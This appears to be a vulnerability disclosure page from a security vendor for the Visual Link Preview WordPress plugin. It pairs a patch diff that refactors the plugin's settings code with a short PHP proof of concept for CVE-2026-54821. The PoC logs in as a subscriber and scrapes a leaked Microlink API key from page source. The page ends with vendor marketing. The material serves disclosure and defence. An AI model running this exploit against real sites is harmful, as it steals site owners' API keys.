+			$settings_details   = $this->bvs->helpers['structure']->get_details();
+
+			foreach ( $settings as $id => $value ) {
+				if ( array_key_exists( $id, $settings_details ) ) {
+					$details = $settings_details[ $id ];
+
+					$sanitized_value = null;
+
+					// Check for custom sanitization function.
+					if ( isset( $details['sanitize'] ) && is_callable( $details['sanitize'] ) ) {
+						$sanitized_value = call_user_func( $details['sanitize'], $value );
+					}

-				// Options callback.
-				if ( isset( $details['optionsCallback'] ) ) {
-					$details['options'] = call_user_func( $details['optionsCallback'], $details );
-				}
+					// Options callback.
+					if ( isset( $details['optionsCallback'] ) ) {
+						$details['options'] = call_user_func( $details['optionsCallback'], $details );
+					}

-				// Default sanitization based on type.
-				if ( is_null( $sanitized_value ) && isset( $details['type'] ) ) {
-					switch ( $details['type'] ) {
-						case 'code':
-							$sanitized_value = wp_kses_post( $value );
-
-							// Fix for CSS code.
-							$sanitized_value = str_replace( '>', '>', $sanitized_value );
-							break;
-						case 'color':
-							$sanitized_value = sanitize_text_field( $value );
-							break;
-						case 'dropdown':
-							if ( array_key_exists( $value, $details['options'] ) ) {
-								$sanitized_value = $value;
-							}
-							break;
-						case 'dropdownMultiselect':
-							$sanitized_value = array();
-
-							if ( is_array( $value ) ) {
-								foreach ( $value as $option ) {
-									if ( array_key_exists( $option, $details['options'] ) ) {
-										$sanitized_value[] = $option;
+					// Default sanitization based on type.
+					if ( is_null( $sanitized_value ) && isset( $details['type'] ) ) {
+						switch ( $details['type'] ) {
+							case 'code':
+								$sanitized_value = wp_kses_post( $value );
+
+								// Fix for CSS code.
+								$sanitized_value = str_replace( '>', '>', $sanitized_value );
+								break;
+							case 'color':
+								$sanitized_value = sanitize_text_field( $value );
+								break;
+							case 'dropdown':
+								if ( isset( $details['options'] ) && array_key_exists( $value, $details['options'] ) ) {
+									$sanitized_value = $value;
+								}
+								break;
+							case 'dropdownMultiselect':
+								$sanitized_value = array();
+
+								if ( isset( $details['options'] ) && is_array( $value ) ) {
+									foreach ( $value as $option ) {
+										if ( array_key_exists( $option, $details['options'] ) ) {
+											$sanitized_value[] = $option;
+										}
 									}
 								}
-							}
-							break;
-						case 'email':
-							$sanitized_value = sanitize_email( $value );
-							break;
-						case 'number':
-							$sanitized_value = sanitize_text_field( $value );
-							break;
-						case 'richTextarea':
-							$sanitized_value = wp_kses_post( $value );
-							break;
-						case 'text':
-							$sanitized_value = sanitize_text_field( $value );
-							break;
-						case 'textarea':
-							$sanitized_value = wp_kses_post( $value );
-							break;
-						case 'toggle':
-							$sanitized_value = $value ? true : false;
-							break;
+								break;
+							case 'email':
+								$sanitized_value = sanitize_email( $value );
+								break;
+							case 'number':
+								$sanitized_value = sanitize_text_field( $value );
+								break;
+							case 'richTextarea':
+								$sanitized_value = wp_kses_post( $value );
+								break;
+							case 'text':
+								$sanitized_value = sanitize_text_field( $value );
+								break;
+							case 'textarea':
+								$sanitized_value = wp_kses_post( $value );
+								break;
+							case 'toggle':
+								$sanitized_value = $value ? true : false;
+								break;
+						}
 					}
-				}

-				$sanitized_value = apply_filters( $this->bvs->atts['uid'] . '_sanitized', $sanitized_value, $value, $id, $details );
+					$sanitized_value = apply_filters( $this->bvs->atts['uid'] . '_sanitized', $sanitized_value, $value, $id, $details );

-				if ( ! is_null( $sanitized_value ) ) {
-					$sanitized_settings[ $id ] = $sanitized_value;
+					if ( ! is_null( $sanitized_value ) ) {
+						$sanitized_settings[ $id ] = $sanitized_value;
+					}
 				}
 			}
-		}

-		return $sanitized_settings;
+			return $sanitized_settings;
+		}
 	}
 }
--- a/visual-link-preview/vendor/bv-settings/includes/class-bvs-structure.php
+++ b/visual-link-preview/vendor/bv-settings/includes/class-bvs-structure.php
@@ -2,239 +2,248 @@
 /**
  * Handle the settings structure.
  *
- * @link       http://bootstrapped.ventures
- * @since      1.0.0
+ * @link       https://bootstrapped.ventures
+ * @since      1.1.0
  *
  * @package    BV_Settings
- * @author     Brecht Vandersmissen <brecht@bootstrapped.ventures>
  */

-class BV_Structure {
-	private $bvs;
-
-	private $structure = array();
-	private $defaults = array();
-	private $settings = array();
-
-	/**
-	 * Store main instance and initialize.
-	 *
-	 * @since   1.0.0
-	 */
-	public function __construct( $bvs ) {
-		$this->bvs = $bvs;
-		$this->set_structure( $this->bvs->atts['settings'] );
-	}
-
+if ( ! class_exists( 'BV_Settings_V1_1_0_Structure' ) ) {
 	/**
-	 * Set the settings structure.
+	 * Handle the settings structure.
 	 *
-	 * @since   1.0.0
-     * @param   array $settings_structure Settings structure.
+	 * @since 1.1.0
 	 */
-	public function set_structure( $settings_structure ) {
-        // Associate IDs.
-        $structure = array();
-
-        $index = 1;
-        foreach ( $settings_structure as $group ) {
-            if ( isset( $group['id'] ) ) {
-                $id = $group['id'];
-            } else {
-                $id = 'group_' . $index;
-                $index++;
-            }
-
-            $structure[ $id ] = $group;
-        }
+	class BV_Settings_V1_1_0_Structure {
+		private $bvs;
+		private $structure = array();
+		private $defaults = array();
+		private $settings = array();
+
+		/**
+		 * Store main instance and initialize.
+		 *
+		 * @since   1.1.0
+		 * @param   object $bvs Versioned settings implementation.
+		 */
+		public function __construct( $bvs ) {
+			$this->bvs = $bvs;
+			$this->set_structure( $this->bvs->atts['settings'] );
+		}
+
+		/**
+		 * Set the settings structure.
+		 *
+		 * @since   1.1.0
+		 * @param   array $settings_structure Settings structure.
+		 */
+		public function set_structure( $settings_structure ) {
+			$structure = array();
+			$index     = 1;
+
+			foreach ( $settings_structure as $group ) {
+				if ( isset( $group['id'] ) ) {
+					$id = $group['id'];
+				} else {
+					$id = 'group_' . $index;
+					$index++;
+				}

-        $this->structure = $structure;
-    }
+				$structure[ $id ] = $group;
+			}

-    /**
-	 * Get the settings structure.
-	 *
-	 * @since   1.0.0
-	 * @param   mixed $resolve_callbacks Wether to resolve the callbacks.
-	 */
-	public function get_structure( $resolve_callbacks = false ) {
-		$structure = apply_filters( $this->bvs->atts['uid'] . '_settings_structure', $this->structure );
+			$this->structure = $structure;
+		}

-		if ( $resolve_callbacks ) {
-			// Loop over structure to find settings with callback.
-			foreach ( $structure as $group_id => $group ) {
-				if ( isset( $group['settings'] ) ) {
-					foreach ( $group['settings'] as $setting_id => $setting ) {
-						if ( isset( $setting['optionsCallback'] ) ) {
-							$structure[ $group_id ]['settings'][ $setting_id ]['options'] = call_user_func( $setting['optionsCallback'], $setting );
+		/**
+		 * Get the settings structure.
+		 *
+		 * @since   1.1.0
+		 * @param   mixed $resolve_callbacks Whether to resolve callbacks.
+		 * @return  array
+		 */
+		public function get_structure( $resolve_callbacks = false ) {
+			$structure = apply_filters( $this->bvs->atts['uid'] . '_settings_structure', $this->structure );
+
+			if ( $resolve_callbacks ) {
+				foreach ( $structure as $group_id => $group ) {
+					if ( isset( $group['settings'] ) ) {
+						foreach ( $group['settings'] as $setting_id => $setting ) {
+							if ( isset( $setting['optionsCallback'] ) ) {
+								$structure[ $group_id ]['settings'][ $setting_id ]['options'] = call_user_func( $setting['optionsCallback'], $setting );
+							}
 						}
 					}
-				}

-				if ( isset( $group['subGroups'] ) ) {
-					foreach ( $group['subGroups'] as $sub_group_id => $sub_group ) {
-						if ( isset( $sub_group['settings'] ) ) {
-							foreach ( $sub_group['settings'] as $setting_id => $setting ) {
-								if ( isset( $setting['optionsCallback'] ) ) {
-									$structure[ $group_id ]['subGroups'][ $sub_group_id ]['settings'][ $setting_id ]['options'] = call_user_func( $setting['optionsCallback'], $setting );
+					if ( isset( $group['subGroups'] ) ) {
+						foreach ( $group['subGroups'] as $sub_group_id => $sub_group ) {
+							if ( isset( $sub_group['settings'] ) ) {
+								foreach ( $sub_group['settings'] as $setting_id => $setting ) {
+									if ( isset( $setting['optionsCallback'] ) ) {
+										$structure[ $group_id ]['subGroups'][ $sub_group_id ]['settings'][ $setting_id ]['options'] = call_user_func( $setting['optionsCallback'], $setting );
+									}
 								}
 							}
 						}
 					}
 				}
+
+				$structure = apply_filters( $this->bvs->atts['uid'] . '_settings_structure_callbacks', $structure );
 			}

-			apply_filters( $this->bvs->atts['uid'] . '_settings_structure_callbacks', $structure );
+			return $structure;
 		}

-		return $structure;
-	}
-
-    /**
-	 * Get the value for a specific setting.
-	 *
-	 * @since   1.0.0
-	 * @param   mixed $setting Setting to get the value for.
-	 */
-	public function get( $setting ) {
-		$settings = $this->get_settings();
+		/**
+		 * Get the value for a specific setting.
+		 *
+		 * @since   1.1.0
+		 * @param   mixed $setting Setting to get the value for.
+		 * @return  mixed
+		 */
+		public function get( $setting ) {
+			$settings = $this->get_settings();
+
+			if ( isset( $settings[ $setting ] ) ) {
+				return $settings[ $setting ];
+			}

-		if ( isset( $settings[ $setting ] ) ) {
-			return $settings[ $setting ];
-		} else {
 			return $this->get_default( $setting );
 		}
-    }
-
-    /**
-	 * Get all the settings.
-	 *
-	 * @since   1.0.0
-	 */
-	public function get_settings() {
-		// Lazy load settings.
-		if ( empty( $this->settings ) ) {
-			$this->set_settings( apply_filters( $this->bvs->atts['uid'] . '_settings', get_option( $this->bvs->atts['uid'] . '_settings', array() ) ) );
-		}

-		return $this->settings;
-	}
+		/**
+		 * Get all settings.
+		 *
+		 * @since   1.1.0
+		 * @return  array
+		 */
+		public function get_settings() {
+			if ( empty( $this->settings ) ) {
+				$this->set_settings( apply_filters( $this->bvs->atts['uid'] . '_settings', get_option( $this->bvs->atts['uid'] . '_settings', array() ) ) );
+			}

-	/**
-	 * Set the settings.
-	 *
-	 * @since   1.0.0
-	 * @param   array $settings Settings to set.
-	 */
-	public function set_settings( $settings ) {
-		$this->settings = $settings;
-    }
+			return $this->settings;
+		}

-    /**
-	 * Get all the settings with defaults if not set.
-	 *
-	 * @since   1.0.0
-	 */
-	public function get_settings_with_defaults() {
-		$settings = $this->get_settings();
-		$defaults = $this->get_defaults();
+		/**
+		 * Set the settings.
+		 *
+		 * @since   1.1.0
+		 * @param   array $settings Settings to set.
+		 */
+		public function set_settings( $settings ) {
+			$this->settings = $settings;
+		}
+
+		/**
+		 * Get all settings with defaults if not set.
+		 *
+		 * @since   1.1.0
+		 * @return  array
+		 */
+		public function get_settings_with_defaults() {
+			$settings = $this->get_settings();
+			$defaults = $this->get_defaults();
+
+			return array_merge( $defaults, $settings );
+		}
+
+		/**
+		 * Get the default for a specific setting.
+		 *
+		 * @since   1.1.0
+		 * @param   mixed $setting Setting to get the default for.
+		 * @return  mixed
+		 */
+		public function get_default( $setting ) {
+			$defaults = $this->get_defaults();
+
+			if ( isset( $defaults[ $setting ] ) ) {
+				return $defaults[ $setting ];
+			}

-		return array_merge( $defaults, $settings );
-	}
-
-    /**
-	 * Get the default for a specific setting.
-	 *
-	 * @since   1.0.0
-	 * @param   mixed $setting Setting to get the default for.
-	 */
-	public function get_default( $setting ) {
-		$defaults = $this->get_defaults();
-		if ( isset( $defaults[ $setting ] ) ) {
-			return $defaults[ $setting ];
-		} else {
-			// Force defaults cache update.
 			$defaults = $this->get_defaults( true );
+
 			if ( isset( $defaults[ $setting ] ) ) {
 				return $defaults[ $setting ];
-			} else {
-				return false;
 			}
+
+			return false;
 		}
-    }
-
-	/**
-	 * Get the default settings.
-	 *
-	 * @since   1.0.0
-	 * @param	boolean $force_update Wether to force an update of the cache.
-	 */
-	public function get_defaults( $force_update = false ) {
-		if ( $force_update || empty( $this->defaults ) ) {
-			$defaults = array();
-			$structure = $this->get_structure();

-			// Loop over structure to find settings and defaults.
-			foreach ( $structure as $group ) {
-				if ( isset( $group['settings'] ) ) {
-					foreach ( $group['settings'] as $setting ) {
-						if ( isset( $setting['id'] ) && isset( $setting['default'] ) ) {
-							$defaults[ $setting['id'] ] = $setting['default'];
+		/**
+		 * Get the default settings.
+		 *
+		 * @since   1.1.0
+		 * @param   boolean $force_update Whether to force a cache refresh.
+		 * @return  array
+		 */
+		public function get_defaults( $force_update = false ) {
+			if ( $force_update || empty( $this->defaults ) ) {
+				$defaults  = array();
+				$structure = $this->get_structure();
+
+				foreach ( $structure as $group ) {
+					if ( isset( $group['settings'] ) ) {
+						foreach ( $group['settings'] as $setting ) {
+							if ( isset( $setting['id'] ) && isset( $setting['default'] ) ) {
+								$defaults[ $setting['id'] ] = $setting['default'];
+							}
 						}
 					}
-				}

-				if ( isset( $group['subGroups'] ) ) {
-					foreach ( $group['subGroups'] as $sub_group ) {
-						if ( isset( $sub_group['settings'] ) ) {
-							foreach ( $sub_group['settings'] as $setting ) {
-								if ( isset( $setting['id'] ) && isset( $setting['default'] ) ) {
-									$defaults[ $setting['id'] ] = $setting['default'];
+					if ( isset( $group['subGroups'] ) ) {
+						foreach ( $group['subGroups'] as $sub_group ) {
+							if ( isset( $sub_group['settings'] ) ) {
+								foreach ( $sub_group['settings'] as $setting ) {
+									if ( isset( $setting['id'] ) && isset( $setting['default'] ) ) {
+										$defaults[ $setting['id'] ] = $setting['default'];
+									}
 								}
 							}
 						}
 					}
 				}
-            }

-			$this->defaults = $defaults;
+				$this->defaults = $defaults;
+			}
+
+			return $this->defaults;
 		}

-		return $this->defaults;
-	}
+		/**
+		 * Get the settings details.
+		 *
+		 * @since   1.1.0
+		 * @return  array
+		 */
+		public function get_details() {
+			$details   = array();
+			$structure = $this->get_structure();

-	/**
-	 * Get the settings details.
-	 *
-	 * @since	1.0.0
-	 */
-	public function get_details() {
-		$details = array();
-		$structure = $this->get_structure();
-
-		// Loop over structure to find settings.
-		foreach ( $structure as $group ) {
-			if ( isset( $group['settings'] ) ) {
-				foreach ( $group['settings'] as $setting ) {
-					if ( isset( $setting['id'] ) ) {
-						$details[ $setting['id'] ] = $setting;
+			foreach ( $structure as $group ) {
+				if ( isset( $group['settings'] ) ) {
+					foreach ( $group['settings'] as $setting ) {
+						if ( isset( $setting['id'] ) ) {
+							$details[ $setting['id'] ] = $setting;
+						}
 					}
 				}
-			}

-			if ( isset( $group['subGroups'] ) ) {
-				foreach ( $group['subGroups'] as $sub_group ) {
-					if ( isset( $sub_group['settings'] ) ) {
-						foreach ( $sub_group['settings'] as $setting ) {
-							if ( isset( $setting['id'] ) ) {
-								$details[ $setting['id'] ] = $setting;
+				if ( isset( $group['subGroups'] ) ) {
+					foreach ( $group['subGroups'] as $sub_group ) {
+						if ( isset( $sub_group['settings'] ) ) {
+							foreach ( $sub_group['settings'] as $setting ) {
+								if ( isset( $setting['id'] ) ) {
+									$details[ $setting['id'] ] = $setting;
+								}
 							}
 						}
 					}
 				}
 			}
-		}

-		return $details;
+			return $details;
+		}
 	}
 }
--- a/visual-link-preview/visual-link-preview.php
+++ b/visual-link-preview/visual-link-preview.php
@@ -15,7 +15,7 @@
  * Plugin Name:       Visual Link Preview
  * Plugin URI:        http://bootstrapped.ventures/visual-link-preview/
  * Description:       Display a fully customizable visual link preview for any internal or external link.
- * Version:           2.3.1
+ * Version:           2.4.0
  * Author:            Bootstrapped Ventures
  * Author URI:        http://bootstrapped.ventures/
  * License:           GPL-2.0+

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-54821 - Visual Link Preview <= 2.3.1 - Authenticated (Subscriber+) Sensitive Information Exposure

// Configuration - change these values
$target_url = 'http://example.com'; // WordPress site URL
$username = 'subscriber_user';
$password = 'subscriber_password';

// Step 1: Authenticate and get cookies
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cve_cookies.txt');
curl_setopt($ch, CURLOPT_HEADER, false);
curl_exec($ch);

// Step 2: Fetch a frontend page that enqueues the vulnerable script
$page_url = $target_url . '/'; // Homepage or any frontend page
curl_setopt($ch, CURLOPT_URL, $page_url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cve_cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);

// Step 3: Extract the microlink_api_key from the inline script
preg_match('/microlink_api_key":"([^"]+)"/', $response, $matches);
if (isset($matches[1])) {
    echo "[+] Microlink API Key found: " . $matches[1] . "n";
} else {
    echo "[-] Microlink API key not found. The page may not trigger the vulnerable script, or the plugin is patched.n";
}

curl_close($ch);
unlink('/tmp/cve_cookies.txt');

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School